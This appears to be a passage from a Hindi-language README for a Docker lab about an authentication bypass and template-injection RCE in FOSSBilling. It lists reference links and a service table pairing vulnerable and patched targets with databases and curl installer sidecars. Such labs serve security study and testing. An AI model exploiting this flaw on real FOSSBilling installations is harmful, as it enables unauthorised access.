https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* FOSSBilling Docker दस्तावेज़ीकरण
https://docs.fossbilling.org/getting-started/docker/
* FOSSBilling GitHub भंडार
https://github.com/FOSSBilling/FOSSBilling
* FOSSBilling Docker इमेज
https://hub.docker.com/r/fossbilling/fossbilling
* Twig दस्तावेज़ीकरण: सैंडबॉक्स एक्सटेंशन
https://twig.symfony.com/doc/3.x/sandbox.html
| सेवा | घटक | संस्करण / भूमिका |
|---|
| vuln | FOSSBilling | असुरक्षित लक्ष्य एप्लिकेशन |
| patched | FOSSBilling | पैच किया गया लक्ष्य एप्लिकेशन |
| vuln-db | MariaDB | असुरक्षित लक्ष्य के लिए डेटाबेस |
| patched-db | MariaDB | पैच किए गए लक्ष्य के लिए डेटाबेस |
| installer-vuln | curl sidecar | असुरक्षित लक्ष्य स्वतः स्थापित करता है |
| installer-patched | curl sidecar | पैच किए गए लक्ष्य स्वतः स्थापित करता है |